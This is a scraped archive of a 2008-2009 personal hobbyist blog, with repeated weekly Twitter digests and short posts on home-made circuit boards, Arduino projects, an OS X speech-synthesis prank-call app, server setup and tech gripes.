href="http://twitter.com/docdawning/statuses/3637373676">#</a></p> <p>\t- Look who just walked past me #<a href="http://search.twitter.com/search?q=%23insect">insect</a> <a href="http://twitti.ms/429E">http://twitti.ms/429E</a> <a href="http://twitter.com/docdawning/statuses/3630324824">#</a></p> <p>\t- Having a tough time installing Snow Leopard. I bet OS X is sad to also see Windows and Linux on my HDD <a href="http://twitter.com/docdawning/statuses/3619475977">#</a></p> <p>\t- Nice kitty #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> #<a href="http://search.twitter.com/search?q=%23osx">osx</a> <a href="http://twitti.ms/rVJD">http://twitti.ms/rVJD</a> <a href="http://twitter.com/docdawning/statuses/3617514692">#</a></p> <p>\t- Support IE6 Must Die, add a #<a href="http://search.twitter.com/search?q=%23twibbon">twibbon</a> to your avatar now! - <a href="http://twibbon.com/join/IE6-Must-Die">http://twibbon.com/join/IE6-Must-Die</a> <a href="http://twitter.com/docdawning/statuses/3612186567">#</a></p> <p>\t- <a href="http://twitpic.com/fm780">http://twitpic.com/fm780</a> - Some have called the use of HTML tables in to question, in fact, many have. I suppose yes, I could have rende … <a href="http://twitter.com/docdawning/statuses/3611861346">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-30</h1> <p>Sun, 30 Aug 2009 08:10:00 +0000</p> <p>\t- Enjoyin marshmellows with family <a href="http://twitti.ms/cHJK">http://twitti.ms/cHJK</a> <a href="http://twitter.com/docdawning/statuses/3637373676">#</a></p> <p>\t- Look who just walked past me #<a href="http://search.twitter.com/search?q=%23insect">insect</a> <a href="http://twitti.ms/429E">http://twitti.ms/429E</a> <a href="http://twitter.com/docdawning/statuses/3630324824">#</a></p> <p>\t- Having a tough time installing Snow Leopard. I bet OS X is sad to also see Windows and Linux on my HDD <a href="http://twitter.com/docdawning/statuses/3619475977">#</a></p> <p>\t- Nice kitty #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> #<a href="http://search.twitter.com/search?q=%23osx">osx</a> <a href="http://twitti.ms/rVJD">http://twitti.ms/rVJD</a> <a href="http://twitter.com/docdawning/statuses/3617514692">#</a></p> <p>\t- Support IE6 Must Die, add a #<a href="http://search.twitter.com/search?q=%23twibbon">twibbon</a> to your avatar now! - <a href="http://twibbon.com/join/IE6-Must-Die">http://twibbon.com/join/IE6-Must-Die</a> <a href="http://twitter.com/docdawning/statuses/3612186567">#</a></p> <p>\t- <a href="http://twitpic.com/fm780">http://twitpic.com/fm780</a> - Some have called the use of HTML tables in to question, in fact, many have. I suppose yes, I could have rende … <a href="http://twitter.com/docdawning/statuses/3611861346">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-23</h1> <p>Sun, 23 Aug 2009 08:10:00 +0000</p> <p>\t- RT @SarahKSilverman: Carrots are good for your eyes but only if you take them orally. <a href="http://twitter.com/docdawning/statuses/3483824235">#</a></p> <p>\t- Still wet, greenified wall <a href="http://twitti.ms/nMhq">http://twitti.ms/nMhq</a> <a href="http://twitter.com/docdawning/statuses/3481741553">#</a></p> <p>\t- repaint our hang out room in the basement #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/sdzB">http://twitti.ms/sdzB</a> <a href="http://twitter.com/docdawning/statuses/3480349387">#</a></p> <p>\t- kinda cool, EB Games has used 360’s for $120 #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/9PI2">http://twitti.ms/9PI2</a> <a href="http://twitter.com/docdawning/statuses/3477822767">#</a></p> <p>\t- This weekend we’re completely rearranging our basement. That’s a massive undertaking.. Cool, but ugh.. <a href="http://twitter.com/docdawning/statuses/3475433210">#</a></p> <p>\t- RARELY I’ll get 10 hours in to a game like tonight. As usual, #<a href="http://search.twitter.com/search?q=%23Vista">Vista</a> killed my game to force an update & reboot. <a href="http://twitter.com/docdawning/statuses/3469372941">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-23</h1> <p>Sun, 23 Aug 2009 08:10:00 +0000</p> <p>\t- RT @SarahKSilverman: Carrots are good for your eyes but only if you take them orally. <a href="http://twitter.com/docdawning/statuses/3483824235">#</a></p> <p>\t- Still wet, greenified wall <a href="http://twitti.ms/nMhq">http://twitti.ms/nMhq</a> <a href="http://twitter.com/docdawning/statuses/3481741553">#</a></p> <p>\t- repaint our hang out room in the basement #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/sdzB">http://twitti.ms/sdzB</a> <a href="http://twitter.com/docdawning/statuses/3480349387">#</a></p> <p>\t- kinda cool, EB Games has used 360’s for $120 #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/9PI2">http://twitti.ms/9PI2</a> <a href="http://twitter.com/docdawning/statuses/3477822767">#</a></p> <p>\t- This weekend we’re completely rearranging our basement. That’s a massive undertaking.. Cool, but ugh.. <a href="http://twitter.com/docdawning/statuses/3475433210">#</a></p> <p>\t- RARELY I’ll get 10 hours in to a game like tonight. As usual, #<a href="http://search.twitter.com/search?q=%23Vista">Vista</a> killed my game to force an update & reboot. <a href="http://twitter.com/docdawning/statuses/3469372941">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-16</h1> <p>Sun, 16 Aug 2009 08:10:00 +0000</p> <p>\t- Garage Band can make #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones from your own files, despite #<a href="http://search.twitter.com/search?q=%23itunes">itunes</a> stating you must buy each one <a href="http://twitter.com/docdawning/statuses/3338809060">#</a></p> <p>\t- <a href="http://twitpic.com/e22ln">http://twitpic.com/e22ln</a> - #<a href="http://search.twitter.com/search?q=%23Apple">Apple</a>, stopping me from using my own recordings as #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones makes me hate you. <a href="http://twitter.com/docdawning/statuses/3336314940">#</a></p> <p>\t- I so want a remotely okay Multimeter: <a href="http://bit.ly/HLrKH">http://bit.ly/HLrKH</a> <a href="http://twitter.com/docdawning/statuses/3317833470">#</a></p> <p>\t- Another #<a href="http://search.twitter.com/search?q=%23google">google</a> service I’ve just found, Google Checkout - I might use this over Paypal? <a href="https://checkout.google.com/">https://checkout.google.com/</a> <a href="http://twitter.com/docdawning/statuses/3313991768">#</a></p> <p>\t- Google Base looks to me almost like a rip on Craig’s List or something: <a href="http://bit.ly/11Zzpt">http://bit.ly/11Zzpt</a> <a href="http://twitter.com/docdawning/statuses/3313901313">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-16</h1> <p>Sun, 16 Aug 2009 08:10:00 +0000</p> <p>\t- Garage Band can make #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones from your own files, despite #<a href="http://search.twitter.com/search?q=%23itunes">itunes</a> stating you must buy each one <a href="http://twitter.com/docdawning/statuses/3338809060">#</a></p> <p>\t- <a href="http://twitpic.com/e22ln">http://twitpic.com/e22ln</a> - #<a href="http://search.twitter.com/search?q=%23Apple">Apple</a>, stopping me from using my own recordings as #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones makes me hate you. <a href="http://twitter.com/docdawning/statuses/3336314940">#</a></p> <p>\t- I so want a remotely okay Multimeter: <a href="http://bit.ly/HLrKH">http://bit.ly/HLrKH</a> <a href="http://twitter.com/docdawning/statuses/3317833470">#</a></p> <p>\t- Another #<a href="http://search.twitter.com/search?q=%23google">google</a> service I’ve just found, Google Checkout - I might use this over Paypal? <a href="https://checkout.google.com/">https://checkout.google.com/</a> <a href="http://twitter.com/docdawning/statuses/3313991768">#</a></p> <p>\t- Google Base looks to me almost like a rip on Craig’s List or something: <a href="http://bit.ly/11Zzpt">http://bit.ly/11Zzpt</a> <a href="http://twitter.com/docdawning/statuses/3313901313">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-16</h1> <p>Sun, 16 Aug 2009 08:10:00 +0000</p> <p>\t- Garage Band can make #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones from your own files, despite #<a href="http://search.twitter.com/search?q=%23itunes">itunes</a> stating you must buy each one <a href="http://twitter.com/docdawning/statuses/3338809060">#</a></p> <p>\t- <a href="http://twitpic.com/e22ln">http://twitpic.com/e22ln</a> - #<a href="http://search.twitter.com/search?q=%23Apple">Apple</a>, stopping me from using my own recordings as #<a href="http://search.twitter.com/search?q=%23iphone">iphone</a> ringtones makes me hate you. <a href="http://twitter.com/docdawning/statuses/3336314940">#</a></p> <p>\t- I so want a remotely okay Multimeter: <a href="http://bit.ly/HLrKH">http://bit.ly/HLrKH</a> <a href="http://twitter.com/docdawning/statuses/3317833470">#</a></p> <p>\t- Another #<a href="http://search.twitter.com/search?q=%23google">google</a> service I’ve just found, Google Checkout - I might use this over Paypal? <a href="https://checkout.google.com/">https://checkout.google.com/</a> <a href="http://twitter.com/docdawning/statuses/3313991768">#</a></p> <p>\t- Google Base looks to me almost like a rip on Craig’s List or something: <a href="http://bit.ly/11Zzpt">http://bit.ly/11Zzpt</a> <a href="http://twitter.com/docdawning/statuses/3313901313">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-09</h1> <p>Sun, 09 Aug 2009 08:10:00 +0000</p> <p>\t- I love coffee so friggin’ much! <a href="http://twitter.com/docdawning/statuses/3202624310">#</a></p> <p>\t- Golden Boy Fish Sauce <a href="http://twitpic.com/d8oze">http://twitpic.com/d8oze</a> #<a href="http://search.twitter.com/search?q=%23ftw">ftw</a> #<a href="http://search.twitter.com/search?q=%23hilarious">hilarious</a> <a href="http://twitter.com/docdawning/statuses/3201989874">#</a></p> <p>\t- Goram football games suck for those who live near stadiums #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitter.com/docdawning/statuses/3200474104">#</a></p> <p>\t- Wow, what a beautiful scene: <a href="http://tr.im/w25G">http://tr.im/w25G</a> #<a href="http://search.twitter.com/search?q=%23flickr">flickr</a> #<a href="http://search.twitter.com/search?q=%23photography">photography</a> #<a href="http://search.twitter.com/search?q=%23earth">earth</a> <a href="http://twitter.com/docdawning/statuses/3200069014">#</a></p> <p>\t- [URL Fixed!] PCB Etching Progress <a href="http://tinyurl.com/llg4la">http://tinyurl.com/llg4la</a> #<a href="http://search.twitter.com/search?q=%23diy">diy</a> #<a href="http://search.twitter.com/search?q=%23protospace">protospace</a> #<a href="http://search.twitter.com/search?q=%23backyard">backyard</a>-chemistry <a href="http://twitter.com/docdawning/statuses/3199780491">#</a></p> <p>\t- PCB Etching Progress <a href="http://tinyurl.com/llg4la">http://tinyurl.com/llg4la</a> <a href="http://twitter.com/docdawning/statuses/3199474334">#</a></p> <p>\t- #Apple - please change the home/end/page up/page down functionality of OS X. The case-by-case basis currently used is bafflingly hindering <a href="http://twitter.com/docdawning/statuses/3186957460">#</a></p> <p>\t- RT @NoxDineen: Potential for awesome is off the charts! RT @zemote: Ice-T repairs a mac - ROFL <a href="http://bit.ly/yDU1w">http://bit.ly/yDU1w</a> #<a href="http://search.twitter.com/search?q=%23wtf">wtf</a> #<a href="http://search.twitter.com/search?q=%23apple">apple</a> #<a href="http://search.twitter.com/search?q=%23macbook">macbook</a> <a href="http://twitter.com/docdawning/statuses/3185241595">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-09</h1> <p>Sun, 09 Aug 2009 08:10:00 +0000</p> <p>\t- I love coffee so friggin’ much! <a href="http://twitter.com/docdawning/statuses/3202624310">#</a></p> <p>\t- Golden Boy Fish Sauce <a href="http://twitpic.com/d8oze">http://twitpic.com/d8oze</a> #<a href="http://search.twitter.com/search?q=%23ftw">ftw</a> #<a href="http://search.twitter.com/search?q=%23hilarious">hilarious</a> <a href="http://twitter.com/docdawning/statuses/3201989874">#</a></p> <p>\t- Goram football games suck for those who live near stadiums #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitter.com/docdawning/statuses/3200474104">#</a></p> <p>\t- Wow, what a beautiful scene: <a href="http://tr.im/w25G">http://tr.im/w25G</a> #<a href="http://search.twitter.com/search?q=%23flickr">flickr</a> #<a href="http://search.twitter.com/search?q=%23photography">photography</a> #<a href="http://search.twitter.com/search?q=%23earth">earth</a> <a href="http://twitter.com/docdawning/statuses/3200069014">#</a></p> <p>\t- [URL Fixed!] PCB Etching Progress <a href="http://tinyurl.com/llg4la">http://tinyurl.com/llg4la</a> #<a href="http://search.twitter.com/search?q=%23diy">diy</a> #<a href="http://search.twitter.com/search?q=%23protospace">protospace</a> #<a href="http://search.twitter.com/search?q=%23backyard">backyard</a>-chemistry <a href="http://twitter.com/docdawning/statuses/3199780491">#</a></p> <p>\t- PCB Etching Progress <a href="http://tinyurl.com/llg4la">http://tinyurl.com/llg4la</a> <a href="http://twitter.com/docdawning/statuses/3199474334">#</a></p> <p>\t- #Apple - please change the home/end/page up/page down functionality of OS X. The case-by-case basis currently used is bafflingly hindering <a href="http://twitter.com/docdawning/statuses/3186957460">#</a></p> <p>\t- RT @NoxDineen: Potential for awesome is off the charts! RT @zemote: Ice-T repairs a mac - ROFL <a href="http://bit.ly/yDU1w">http://bit.ly/yDU1w</a> #<a href="http://search.twitter.com/search?q=%23wtf">wtf</a> #<a href="http://search.twitter.com/search?q=%23apple">apple</a> #<a href="http://search.twitter.com/search?q=%23macbook">macbook</a> <a href="http://twitter.com/docdawning/statuses/3185241595">#</a></p> </article> <article> <h1>PCB Etching Progress</h1> <p>Sat, 08 Aug 2009 16:43:15 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 83px;"> <a href="http://www.charlottefurneaux.com/"></a> <figcaption>HappyThawts</figcaption> </figure> <figure style="float: right; margin: 0 0 1em 1em; max-width: 124px;"> <a href="https://dawning.ca/pix/album/72157621850384333/pcb-etching-pre-run.html"></a> <figcaption>Transferred Toner</figcaption> </figure> <p>Well, a few of us <a href="http://www.protospace.ca">Protospace</a>rs met up and worked out some more home-made cheap Printed Circuit Board progress.. Vast thanks to the help of my esteemed friend <a href="http://www.charlottefurneaux.com/">HappyThawts</a>, we finally got out a board of usable quality! Woot! We used a <a href="http://arduino.cc/en/Main/ArduinoBoardSerialSingleSided3">single sided Arduino</a> pattern I found (saved me some seri</p> <p>ous time). And followed a <a href="http://www.instructables.com/id/Sponge-Ferric-Chloride-Method-Etch-Circuit-Bo/">fairly well documented process</a> involving use of Ferric Chloride, Acetone, Clothing Irons, Cheap Magazine Paper, Water and patience.</p> </article> <article> <h1>STP Replugged - Who would you call?</h1> <p>Thu, 06 Aug 2009 15:19:52 +0000</p> <p>I think it’s time again that I re-plug my free little “<strong><a href="https://dawning.ca/projects/stp/">Shit Talker Phoenix</a></strong>” program I’ve written for OSX.</p> <p>As you can see from the screenshot, it’s a window saturated with a mess of buttons. Each of these buttons are linked in to a speech synthesis engine, so when you press a button, the computer speaks whatever’s on the button.</p> <p>I based this entirely off of the old <a href="http://unaesthetic.net/st/index.shtml">Shit Talker by Jaundice</a>, a well known, ancient but hilarious little program for making “prank” phone calls. I used this program back in the days of Windows 98 and if you try to run it now you’ll be met with general instability and ugliness (though you could run it inside a <a href="http://www.vmware.com/download/server/">virtual machine</a>). I was motivated to re-write it for OSX simply because that’s what I was using at the time and I wanted something I could run natively to do the same thing.</p> </article> <article> <h1>Bluegrass Music Owns</h1> <p>Tue, 04 Aug 2009 21:36:19 +0000</p> <p>I just got back from my latest installment of Bluegrass music at the <a href="http://www.blueberrybluegrass.com/">Blueberry Bluegrass</a> music festival in <a href="http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=Stony+Plain,+AB,+Canada&sll=37.0625,-95.677068&sspn=47.838189,114.169922&ie=UTF8&z=13&iwloc=A">Stony Plain, Alberta</a>. I’ve gone to 4 such festivals now and as much as it’s a little heavy on the “country music” side for my tastes there’s a few factors that keep bringing me back. As such, I’ve decided it’s about time that I give a little rant on what makes this stuff so awesome.. So here we go!</p> </article> <article> <h1>Whoa Posterous FTW!</h1> <p>Tue, 04 Aug 2009 19:02:17 +0000</p> <p><figure> </picture> </figure> </p> <p>So in doing my typical rounds I’ve come across the greatest thing since Wordpress, Twitter, Facebook, Delicious, Flickr combined - and by “since” then, I mean, if there’s even been such an awesome combo of tools before…</p> <p>I’ve setup a new sub-domain for <a href="https://dawning.ca/">dawning.ca</a>) - this is <a href="http://stream.dawning.ca">http://stream.dawning.ca</a> - this URL points to a Posterous server that shows my posts and content of coolness.. Yeah, yeah, that’s nice.. Where it goes from “/yawn” to “/clap & /sing” is that I can email in a post (precisely what I’m doing now) and the message contents are automatically added to my posterous page (<a href="http://stream.dawning.ca">stream.dawning.ca</a>) but a URL to the post is auto tweeted, any images are automatically linked up and posted to Flickr and any attached videos get automatically dumped to Vimeo and Youtube.. Ohh, also - any urls get dumped in your Delicious account (and while it’s at it, posts references to it all in facebook if you like).</p> </article> <article> <h1>World, meet my first home-made circuit board</h1> <p>Thu, 30 Jul 2009 07:02:04 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 300px;"> <figcaption>My very first PCB</figcaption> </figure> <p>Well, with the priceless aid of my dear friend <a href="http://happythawts.deviantart.com/">HappyThawts</a>, I’ve managed to produce my first home-made Printed Circuit Board!</p> <h2 id="how-it-went">How it went</h2> <p>There were a bunch of weird issues that came up in making it and thus it’s not all that ideal, though I could hack it to work. The main challenge was that my copper clad boards were actually covered with PhotoResist (for masking boards via UV). The process we used entailed working directly on a layer of Copper. Thankfully Happy realized that Acetone would probably send the PhotoResist on it’s merry way to aqueous exile in my trash-chemicals bucket. She was dead-on there.</p> </article> <article> <h1>Quest to Submit an Internet Explorer Bug Report</h1> <p>Tue, 14 Jul 2009 18:50:45 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 89px;"> <figcaption>Put Simply</figcaption> </figure> <p>Here’s the anti-epic tale of my distinct efforts to improve Microsoft Pusher <strong>I</strong>nternet <strong>E</strong>xplorer.</p> <p>Why would I want to improve IE? Well, I don’t really, but a sad number of users on the net don’t yet know any better. It seems clear to me that Microsoft’s selection of what web standards to implement (not the <a href="http://en.wikipedia.org/wiki/World_Wide_Web_Consortium">W3C internationally agreed upon standards</a>, but rather their own) must be either the product of negligence or an attempt to push their own agenda (mainly to make their competition look foolish in the eyes of their lesser informed users). I think that kind of approach can only work for so long - users continue learn.</p> </article> <article> <h1>Toor Camp 2009 in Review</h1> <p>Tue, 14 Jul 2009 02:55:18 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 94px;"> <a href="http://www.toorcamp.org/"></a> <p>Well I’ve been home from <a href="http://www.toorcamp.org">Toor Camp 2009</a> for a week now and I’m feeling it’s about time to post my personal review of all of this.</p> <h2 id="in-summary">In Summary</h2> <p>\t- **In Short: **It was awesome</p> <p>\t- **In slightly less-short: **It was rough in terms of heat, closed silo and drama</p> <p>\t- **The Bottom Line: **I’ll be going next year</p> <p>\t- <strong><a href="https://dawning.ca/pix/album/72157621219601559/toor-camp-2009.html">Photos Here</a></strong></p> <p>The Good</p> </article> <article> <h1>Firefox 3.5 is out, now go get it!</h1> <p>Tue, 30 Jun 2009 10:11:10 +0000</p> <p><a href="http://en-us.www.mozilla.com/en-US/"><figure> </picture> </figure> </a></p> <p>Howdy all, if you some how haven’t heard yet, Firefox 3.5 is out. It boasts a pile of cool new features and performance improvements over previous versions. Now, go get it!</p> </article> <article> <h1>The Anti-Epic Tale of Making IIS Play Nice with Apache</h1> <p>Wed, 24 Jun 2009 14:04:56 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 226px;"> <figcaption></figcaption> </figure> <h2 id="the-mission">The Mission</h2> <p>To run an <a href="http://en.wikipedia.org/wiki/Apache_HTTP_Server">Apache</a> server (on Windows) on the same machine that was already hosting <a href="http://en.wikipedia.org/wiki/Internet_Information_Services">IIS</a>.</p> <h2 id="the-strategy">The Strategy</h2> <p>The plan was to alter each virtual host defined in IIS to not bind to the typical HTTP/HTTPS ports (80 & 443), but instead have it use arbitrary ports (was to be 8080 & 4433). With that in place, I could then run Apache normally. In order to get traffic to hit the right sites as hosted by IIS, the apache server would have it’s own virtual host definitions for each IIS site. In those definitions, there would be a Reverse Proxy config to get Apache to pass the traffic internally over to the arbitrary ports.</p> </article> <article> <h1>iPhone Endowed Life Begins</h1> <p>Wed, 20 May 2009 11:12:39 +0000</p> <p><figure> </picture> </figure> </p> <p>I’ve finally pitched my brilliantly ancient Blackberry (deserves an award for surviving this long). I decided the only way for me to go was to get an iPhone. It’s now been nearly a week and I must say this platform is a must have for any computery geeky types out there. It makes me antiquated Pocket PC cower in submissive fear and continues to impress and delight me a every turn.</p> </article> <article> <h1>Dawning.ca Server Relocated</h1> <p>Tue, 19 May 2009 16:43:36 +0000</p> <p>Howdy friends, after some down time, I’ve moved the dawning.ca server on to a new web server I’ve configured. I had moved it over to a Linode VM for awhile, but in trying to cut down my personal costs, I’ve since migrated it back home. Anyway, I quite enjoyed using Linode for awhile and if you’re interested in having a decent remotely hosted Virtual Machine, I’d highly recommend them.</p> </article> <article> <h1>CISV Plunct Plact Zum Village Pre-Camp Video</h1> <p>Mon, 27 Apr 2009 15:10:07 +0000</p> <p>In July of 2000 I met up with a bunch of people I only knew were follow members of CISV, but from a bunch of other countries. For about a month we hung out together at a camp in Rio De Janeiro. Most of the attendants were 11yr olds. I myself was there as a Junior Counsellor, and was 16. There were of course many other older leaders. Before the camp had actually started, the leaders that hosted the camp sent out a video. I’ve dug this video out of my archives, brushed it off slightly and posted it for all to enjoy! Also, check out my photo album from this event.</p> </article> <article> <h1>SCHS 2002 Graduation</h1> <p>Mon, 27 Apr 2009 09:33:47 +0000</p> <p>Well, it may have been 7 years ago now, but I was cruising through my files and came across this old video.. I don’t really know who recorded the original footage, but I decided to clean it up a bit and put it out there, after all, there’s little point having this video if it’s not shared!</p> <p>So, here it is.. I hope many good old SCHS friends check it out and that it brings back a few nice memories for them. I expect some time around 2012, we’ll have to get a reunion setup. Hope you’re all doing well! Cheers.</p> </article> <article> <h1>Upgrade Experience with Ubuntu 9.04</h1> <p>Fri, 24 Apr 2009 09:24:25 +0000</p> <figure style="float: right; margin: 0 0 1em 1em; max-width: 204px;"> <a href="http://www.ubuntu.com/getubuntu"></a> <figcaption>Ubuntu Logo</figcaption> </figure> <p>Hello World!</p> <p>While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download & install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..</p> </article> <article> <h1>What tired old hardware does: Bohemian Rhapsody</h1> <p>Tue, 21 Apr 2009 09:20:48 +0000</p> <p>I came across this video via Slashdot of all places and man, I gotta say, this is an absolute masterpiece in my books! Excellent/brillant work here! Brings back some excellent memories for me, that is the song does.. The hardware is just freaky and awesome.</p> </article> <article> <h1>Epic WoW Fail</h1> <p>Wed, 08 Apr 2009 09:33:04 +0000</p> <p>I was playing WoW the other day with a some friends.. I was playing it on Ubuntu linux (using WINE) and I guess some mystical memory leak decided to creep up and kick my butt. As such, from the WoW side of things I was disconnected while running in Stormwind City.</p> <p>About 33.53 seconds later, I had managed to login again, but I found myself dead. The afterlife was not what I expected. I had been teleported (via a game bug) to a far away land and lived in a perpetual state of free-fall. It was horrid and more importantly, I couldn’t see a way out. My group had already been waiting for me to run to where they where and this had to happen. Not to worry however, a trusty Game Master came to my rescue. After some BSG banter and laughs the GM used their super-toon powers and transported me to the city of Ironforge (as I was trying to get there in the first place).</p> </article> <article> <h1>Hit & Run on my car!</h1> <p>Sat, 21 Mar 2009 17:38:43 +0000</p> <p>So the other day I was standing in Cami’s kitchen when we heard a loud scraping sound come from outside. We soon realized the sound was that of a car driving straight in to the side of my parked car. I ran outside just in time to clearly observe a man who had been a passenger essentially move over and sit on top of the woman who was behind the wheel. He then appeared to drive the car as it sped away from the scene.</p> </article> <article> <h1>Super Mouse Hack</h1> <p>Mon, 16 Mar 2009 21:46:05 +0000</p> <p>I did this cool mouse mod where I put a wireless card inside of my mouse - I love it because the mouse looks exactly the same as before, except now it has wireless functionality!!! This hack got featured over on Hackaday.com!</p> <p>Roll on over to the <strong>project page</strong> for this hack!</p> </article> <article> <h1>Some HypnoOrb Progress</h1> <p>Mon, 02 Mar 2009 20:53:19 +0000</p> <p>While my latest round of HypnoOrb progress hasn’t yet resulted in another fully functional design, it’s a good step in that direction. I’ve been learning to make good use of Cadsoft’s free version of their <a href="http://en.wikipedia.org/wiki/Printed_circuit_board">PCB</a> design tool called <a href="http://en.wikipedia.org/wiki/Eagle_%28program%29">Eagle</a>. At this point I’ve been kind of stuck on getting the path of the wires routed well. The free version of Eagle provides some routing features, but I’m told it’s best to go with some other tools, tools that I’m pretty sure cost the GDP of a small nation, or possibly continent. But fear not, this is a fairly simple board, so I think worst case I should be able to manually route it in a very awesome way…. I hope. Anyway, below’s an image of the latest layout I’ve got…</p> </article> <article> <h1>Rogers Redeemed</h1> <p>Fri, 30 Jan 2009 12:24:51 +0000</p> <p>The Myth I head somewhere in the past that if you get Rogers to redirect you to their retentions group, they’ll offer you better options than you’d get elsewhere. It just bothers me that it seems to be true that if you want those better options you first have to actually make some kind of case for them or threaten to leave. It shouldn’t be that way. But hey, it just makes room for someone else to come in and do a better job.</p> </article> <article> <h1>HypnoOrb Prototype MK2</h1> <p>Fri, 16 Jan 2009 01:32:28 +0000</p> </article> <article> <h1>Arduino Independence</h1> <p>Tue, 13 Jan 2009 00:08:43 +0000</p> <h2 id="getting-the-arduino-processor-to-function-on-a-breadboard">Getting the Arduino Processor to function on a breadboard</h2> <p>The next step in my <a href="https://dawning.ca/projects/hypnoorb/">HypnoOrb</a> project is to figure out how to get the Arduino microprocessor (AKA <a href="http://www.sparkfun.com/commerce/product_info.php?products_id=7957">ATMega168</a>) that makes the whole thing work function with as little hardware as possible. Thanks to this awesome site, I <a href="http://itp.nyu.edu/physcomp/Tutorials/ArduinoBreadboard">found</a>, I now know what I wasn’t doing right before finding that document. I hope making a reference to that helpful tutorial here will help others find it faster than I did. Have fun!</p> </article> <article> <h1>STP is here!</h1> <p>Fri, 09 Jan 2009 18:38:59 +0000</p> <p>I’ve released a rebuild of an old classic program. The old Shit Talker application brought me many hours of enjoyment via calling my friends and goofing around. I’ve been sad to see no updates of Shit Talker for a long time and decided to just write my own. Hence I give you Shit Talker Phoenix!</p> <p>Some people use Shit Talker for prank calling people they don’t know - I can’t say I recommend this, not really my personal style. Though I must admit, sometimes the results are rather funny. Please use STP nicely.</p> </article> <article> <h1>Behold: The Flash Rat</h1> <p>Sat, 03 Jan 2009 22:00:39 +0000</p> <p>Here’s a USB Flash drive I created - really just hacked the guts out of a flash drive, soldered on an LED & wires and jammed it in the guts of this ugly stuffed rat I had.</p> </article> <article> <h1>Plexi-Glass based displayed video game brainstorm</h1> <p>Tue, 16 Dec 2008 22:05:34 +0000</p> <p>Howdy world, so I wanted to share this idea I have about a fun little project that I’m considering involving using little sheets of etched plexi-glass, LEDs, some random switches and some kind of controller (like ATMega168/Arduino) to create a cheap crude super bizarre little game system. Not sure what the game could be, but here’s a video of a little brainstorm. My main inspiration came from here. This also helped give me some good thoughts that led to this.</p> </article> <article> <h1>Synergy Breeze</h1> <p>Tue, 16 Dec 2008 19:01:20 +0000</p> <p>Here’s a little video I whipped up on account that some people STILL haven’t heard of Synergy.. Check this video out if you too are a bit unclear about what the dealio with Synergy is.</p> </article> <article> <h1>World, meet the HypnoOrb</h1> <p>Wed, 03 Dec 2008 11:44:35 +0000</p> <p>Using the toys I’ve been enjoying ever so much lately, I’ve managed to really nicely smooth out the programming in my Arduino for my RGB LED. It’s so awesome that I’m given it a name! Meet the HypnoOrb!</p> <p>At this point I only have the raw prototype, but I’m considering going ahead an making more of them. I have to work out pricing and smooth of some aspects of the design. If you’re interested in getting one, please contact me or post a message here - the more interest I see on this thing, the faster I’ll work at finding an inexpensive means of producing them.</p> </article> <article> <h1>RGB LED Test Drive via Arduino</h1> <p>Tue, 02 Dec 2008 21:50:07 +0000</p> <p>So I got this awesome RGB LED from Sparkfun and decided to take it for a test drive tonight. Of course, I decided to drive this one with my Arduino board which is getting tons of attention lately. Check it out.</p> </article> <article> <h1>Goofin' Around with 7-Segment Displays & my Arduino</h1> <p>Tue, 02 Dec 2008 10:09:09 +0000</p> <p>I’ve taken a few little steps forward towards my plans of building some cool stuff I’ve yet to announce. Yesterday I focused on testing out a tutorial I found on the Arduino website regarding driving multiple LEDs via chained shift registers. This setup is pretty cool as it only takes 3 pins off of the arduino (excluding power, which could be easily driven separately). I used the tutorial here to get the potentiometer going.</p> </article> <article> <h1>Awesome CMOS illustration applets found!</h1> <p>Tue, 25 Nov 2008 19:19:12 +0000</p> <p><a href="http://tech-www.informatik.uni-hamburg.de/applets/cmos/cmosdemo.html"><figure> </picture> </figure> </a></p> <p>So I’ve been dragging my feet, trying to really wrap my brains around how nMOS, pMOS and the ever awesome n&p party called CMOS really get along, when I came across THIS freaking awesome page that really provided the illustration for how these things work that I’ve been looking for! The page that hosts this demonstration page I’m talking about is for some university in Hamburg, so I’m really thankful their page was written in English.</p> </article> <article> <h1>pfsense 1.2.1-RC2 Atheros Wireless Issue addressed</h1> <p>Sun, 23 Nov 2008 12:23:14 +0000</p> <p>Hello, I recently upgraded one of my routers from pfsense 1.2-RC4 to 1.2.1-RC2 and ran in to a nasty issue regarding my wireless access point seemingly vanishing from existence.</p> <p>It took a few hours, but I figured out a work-around and posted how to resolve the issue. The jist is in the upgrade from FreeBSD 6.x to 7, somehow the Atheros wireless setting for auto selecting a channel changed such that using auto selection would cause the wireless card to use <em>channel 0</em> - which is non-sense. My “fix” was to manually select a channel. 